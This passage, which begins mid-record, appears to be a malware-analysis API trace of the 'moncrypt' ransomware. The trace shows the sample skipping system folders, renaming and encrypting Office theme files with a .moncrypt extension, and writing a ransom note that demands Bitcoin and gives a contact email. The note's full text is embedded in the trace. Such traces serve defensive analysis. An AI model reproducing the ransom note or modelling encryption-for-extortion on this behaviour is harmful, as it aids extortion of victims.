Shared\\THEMES14\\LEVEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\level\\") returned 0x3e [0052.185] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0052.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0052.186] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\level\\") returned 0x3e [0052.186] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0052.186] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0052.186] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\level\\") returned 0x3e [0052.186] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0052.186] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a308, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0052.186] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.186] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.186] GlobalUnlock (hMem=0x44000c) returned 0 [0052.186] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.186] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.186] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.186] GlobalUnlock (hMem=0x44000c) returned 0 [0052.186] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.186] GlobalUnlock (hMem=0x440004) returned 0 [0052.186] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\level\\") returned 0x3e [0052.186] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0052.187] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\level\\") returned 0x3e [0052.187] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a230, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0052.187] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\level\\") returned 0x3e [0052.187] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a230, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.187] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\level\\") returned 0x3e [0052.187] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0052.187] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\level\\") returned 0x3e [0052.187] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0052.187] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\level\\") returned 0x3e [0052.187] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a230, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0052.188] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\level\\") returned 0x3e [0052.188] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a230, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0052.188] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\level\\") returned 0x3e [0052.188] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a230, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.188] GlobalLock (hMem=0x440004) returned 0x550170 [0052.188] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.188] GlobalUnlock (hMem=0x440004) returned 0 [0052.188] GlobalLock (hMem=0x440004) returned 0x550170 [0052.188] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.188] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.188] GlobalUnlock (hMem=0x440004) returned 0 [0052.188] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.188] GlobalUnlock (hMem=0x44000c) returned 0 [0052.188] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0052.188] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.188] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.ELM", cAlternateFileName="")) returned 1 [0052.188] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0052.189] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.189] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.189] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.189] GlobalUnlock (hMem=0x44000c) returned 0 [0052.189] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.189] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.189] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.189] GlobalUnlock (hMem=0x44000c) returned 0 [0052.189] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.189] GlobalUnlock (hMem=0x440004) returned 0 [0052.189] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.311] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0052.312] CloseHandle (hObject=0x18c) returned 1 [0052.312] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\я")) returned 1 [0052.313] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.ELM", cAlternateFileName="")) returned 0x54e240 [0052.313] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0052.313] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0052.314] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", dwFileAttributes=0x20) returned 1 [0052.317] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0052.317] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm.moncrypt")) returned 1 [0052.318] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.318] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.318] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xe2ec [0052.318] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.318] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0052.320] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.320] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0052.320] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0052.320] GlobalUnlock (hMem=0x44000c) returned 0 [0052.320] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0052.320] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0052.321] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0052.321] GlobalUnlock (hMem=0x44000c) returned 0 [0052.321] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0052.321] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0052.321] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.321] GlobalUnlock (hMem=0x440004) returned 0 [0052.321] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0052.321] GlobalUnlock (hMem=0x44000c) returned 0 [0052.321] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.321] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.321] GlobalUnlock (hMem=0x44000c) returned 0 [0052.321] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0052.321] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.321] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.321] GlobalUnlock (hMem=0x44000c) returned 0 [0052.321] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0052.321] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0052.321] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0052.322] SetFilePointer (in: hFile=0x18c, lDistanceToMove=58092, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xe2ec [0052.322] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0052.322] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0052.322] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0052.333] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0052.333] CloseHandle (hObject=0x18c) returned 1 [0052.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.335] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0052.335] CloseHandle (hObject=0x18c) returned 1 [0052.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0052.335] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0052.335] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.335] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.335] GlobalUnlock (hMem=0x44000c) returned 0 [0052.335] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.335] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.335] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.336] GlobalUnlock (hMem=0x44000c) returned 0 [0052.336] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.336] GlobalUnlock (hMem=0x440004) returned 0 [0052.336] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0052.336] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a2a0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0052.336] GetLastError () returned 0x2 [0052.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.338] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0052.339] CloseHandle (hObject=0x18c) returned 1 [0052.339] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.INF", cAlternateFileName="")) returned 1 [0052.339] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.339] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.339] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.339] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.339] GlobalUnlock (hMem=0x440004) returned 0 [0052.340] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.340] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.340] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.340] GlobalUnlock (hMem=0x440004) returned 0 [0052.340] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.340] GlobalUnlock (hMem=0x44000c) returned 0 [0052.340] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.340] CharLowerBuffW (in: lpsz="LEVEL.INF", cchLength=0x9 | out: lpsz="level.inf") returned 0x9 [0052.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.340] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", cchWideChar=71, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpUsedDefaultChar=0x0) returned 71 [0052.341] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0052.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\LEVEL\\LEVEL.INF", lpUsedDefaultChar=0x0) returned 4 [0052.341] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x563, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.341] FileTimeToLocalFileTime (in: 